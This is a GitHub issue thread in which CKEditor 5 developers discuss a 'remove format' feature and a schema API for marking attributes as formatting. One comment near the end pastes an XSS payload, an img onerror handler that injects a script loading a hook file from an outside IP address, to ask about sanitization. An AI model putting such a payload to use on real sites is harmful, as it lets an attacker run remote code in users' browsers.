Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Consider implementing a v4-like remove format feature #908

Closed
oleq opened this issue Mar 15, 2018 · 24 comments · Fixed by ckeditor/ckeditor5-remove-format#1
Closed

Consider implementing a v4-like remove format feature #908

oleq opened this issue Mar 15, 2018 · 24 comments · Fixed by ckeditor/ckeditor5-remove-format#1
Assignees
Labels
type:feature This issue reports a feature request (an idea for a new functionality or a missing option).
Milestone

Comments

@oleq
Copy link
Member

oleq commented Mar 15, 2018

Is this a bug report or feature request? (choose one)

🆕 Feature request

📃 Other details that might be useful

This feature, similar to https://ckeditor.com/cke4/addon/removeformat could be useful when working with huge chunks of text containing unwanted formatting (mostly basic styles, links, etc.). A simple use case could be pasting a section of a Wikipedia article.

image

Some members of the community asked us about this feature a couple of times already.

(somehow) related issues:

cc @Reinmar @wwalc

@oleq oleq added status:discussion type:feature This issue reports a feature request (an idea for a new functionality or a missing option). candidate:1.0.0 labels Mar 15, 2018
@Reinmar
Copy link
Member

Reinmar commented Mar 15, 2018

unwanted formatting (mostly basic styles, links, etc.)

Just to make it clear – links are not a formatting to be removed by such a feature.

@gauravjain028
Copy link

+1 for this feature.
We are developing an app in user user will copy the content from old platform to our platform. So clearing formatting will be a much needed feature for us.

@cedricdelpoux
Copy link

In my opinion it's an very important feature.
The highlight plugin let user clear all highlight so maybe clear all styles is not so big to implement ?

@Reinmar Reinmar added this to the unknown milestone Apr 5, 2018
@dimaip
Copy link

dimaip commented Jul 23, 2018

Currently it's the last feature missing to make CKE5 integration into Neos CMS complete. Would try to hack some temporary solution myself, but a proper official solution is really welcome!

Surprisingly editors really depend on this feature, perhaps they are not aware of CTRL+SHIFT+V...

@wwalc
Copy link
Member

wwalc commented Jul 23, 2018

Surprisingly editors really depend on this feature, perhaps they are not aware of CTRL+SHIFT+V...

CTRL+SHIFT+V removes also elements such as links or lists so it's far from being ideal when pasting large portions of content.

@cedricdelpoux
Copy link

Surprisingly editors really depend on this feature, perhaps they are not aware of CTRL+SHIFT+V...

CTRL+SHIFT+V works only in Chrome right ? No even in Firefox

@dimaip
Copy link

dimaip commented Jul 23, 2018

Hey, no need to side-track this discussion, it's clear that this feature is demanded by editors in any case.

@imkane
Copy link

imkane commented Jan 17, 2019

We'd LOVE this feature as well!

@oleq
Copy link
Member Author

oleq commented Feb 4, 2019

A note to future self: implementation PoC on Gitter.

Issues so far:

  • how to implement the feature so it learns about other features and their formatting, recognizes it and removes (like instead of a manual configuration of all attribute names)?
  • performance problem with the PoC: removing the formatting takes a long time when the selection spans across huge chunks of the content, probably a result of extensive usage of model.schema.getValidRanges and writer.removeAttribute.

@Reinmar
Copy link
Member

Reinmar commented Feb 5, 2019

  • how to implement the feature so it learns about other features and their formatting, recognizes it and removes (like instead of a manual configuration of all attribute names)?

I think we'll be using a whitelists (a list of attribute names which will not be removed by it). This way it doesn't have to learn anything – it will remove everything unless you configure not to.

@scofalik
Copy link
Contributor

scofalik commented Feb 5, 2019

☝️ Kind of a dangerous approach TBH. Although the list would be probably shorter, the negative impact of a developer not remembering to whitelist their attribute is worse than the other way around.

@Reinmar
Copy link
Member

Reinmar commented Feb 5, 2019

☝️ Kind of a dangerous approach TBH. Although the list would be probably shorter, the negative impact of a developer not remembering to whitelist their attribute is worse than the other way around.

Sorry for not being clear – I meant text attributes could be removed this way. Most of them would be about formatting anyway. The only non-formatting one are links now (and maybe highlight, but I guess it's used for formatting most of the time :trollface:).

This is trickier with block attributes. I haven't thought about this initially.

So, perhaps we need a way to define "semantical" vs "formatting" attributes in the schema?

@scofalik
Copy link
Contributor

scofalik commented Feb 5, 2019

Yes, of course, I assumed that you are talking about $text attributes, but still. I'd guess that a majority of our attributes on $text will be about formatting, but IDK how about custom features. BTW. is code formatting? 🤔

I was thinking about some parameter in Schema too but if the attribute clearing is the only purpose then it is the same as providing configuration.

@oleq
Copy link
Member Author

oleq commented Feb 5, 2019

I'd guess that a majority of our attributes on $text will be about formatting, but IDK how about custom features.

I think we're on the same page here. I'm worried users will install 3rd–party addons introducing text attributes for something else and they will report us lots of bugs about "remove format feature destroying my content" if we go with the whitelist approach.

I was thinking about some parameter in Schema too but if the attribute clearing is the only purpose then it is the same as providing configuration.

Yeah, but it's on the plugin authors' side (also: us), not developers who use them and the remove formatting feature. A better DX IMO.

@Reinmar
Copy link
Member

Reinmar commented Feb 11, 2019

I wonder if an option to describe whether an attribute conveys formatting or styling would not also be helpful in cases like https://github.com/ckeditor/ckeditor5-enter/issues/40#issuecomment-313150077:

The linkHref attribute should not be copied with other attributes. Actually, the selection at the end of a link should behave differently, but since in general, I think that you must be able to somehow type inside a link, pressing enter in such a situation should not cause copying that attribute.

And later:

As for how to differentiate between attributes which need to be copied and these which shouldn't, I'd make this controlled by the schema. This will leave it configurable for the end developers (and I think that it was requested in the past that this behaviour is configurable) and will allow implementing the entire behaviour in one place.

So, is it Schema#registerAttribute()? :D

@Reinmar Reinmar modified the milestones: backlog, iteration 23 Feb 11, 2019
@jodator
Copy link
Contributor

jodator commented Feb 11, 2019

So, is it Schema#registerAttribute()? :D

Wouldn't be confusing? Schema already "registers"/"defines" allowed attributes of an item.

Meh - I get it:

schema.registerAttribute( 'foo' , definition );

schema.register( 'baz', { allowAttributes: [ 'foo' ] } );

right? If so: 👍

@Reinmar
Copy link
Member

Reinmar commented Feb 11, 2019

right?

Yes. I also find it a bit confusing, TBH. Especially that you won't need to register all attributes. You'd use registerAttribute() only if you need to specify more information – like mark this particular attribute as "formatting". Perhaps a different method name would be needed. But I'd be fine to go with registerAttribute() first. Unless you'd prefer defineAttribute().

@oleq
Copy link
Member Author

oleq commented Feb 13, 2019

I'd be more precise in this case and go with registerFormattingAttribute().

@Reinmar
Copy link
Member

Reinmar commented Feb 13, 2019

What if we'll have more types of attributes? Or simply – more properties of an attribute than whether it's styling/formatting. Then we'll have different API for elements and different for attributes but those APIs will be doing a pretty similar thing.

Anyway, that's one thing. The other thing is that it still does not solve the problem that today attributes don't have to be registered. So it's more like ... "set attribute properties".

@jodator
Copy link
Contributor

jodator commented Feb 14, 2019

. "set attribute properties".

👍 sounds good and look future-proof

@Reinmar
Copy link
Member

Reinmar commented Feb 14, 2019

So

schema.setAttributeProperties( 'linkHref', { 
    isFormatting: true
} )

?

@mlewand mlewand self-assigned this Mar 5, 2019
@tomaszmys
Copy link

Hey, I'd hate to sidetrack this discussion, but since this thread circles around whitelisting content, would the implementation allow for calling a sanitization of content before loading?
This type of XSS is probably hardest to pull off, but - depending on the exact use case - still very much possible. And rendering content like the one below (if it finds a hole in CSP rules) might be fatal
tryin do to sth <img src='' onerror='alert(\"pow\");' /><img src=\"\" onerror=\"(function(){var s = document.createElement('script');s.setAttribute('src', 'http://11.11.11.11:3000/hook.js');s.setAttribute('async', 'true');document.body.appendChild(s);})();\" />

@Reinmar
Copy link
Member

Reinmar commented Mar 12, 2019

Let's discuss XSS filtering in #1624 :)

@mlewand
Copy link
Contributor

mlewand commented Mar 28, 2019

Schema API has been extracted to #1659.

oleq added a commit to ckeditor/ckeditor5-remove-format that referenced this issue Apr 1, 2019
Feature: Introduced the Remove Format feature. Closes ckeditor/ckeditor5#908.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
type:feature This issue reports a feature request (an idea for a new functionality or a missing option).
Projects
None yet
Development

Successfully merging a pull request may close this issue.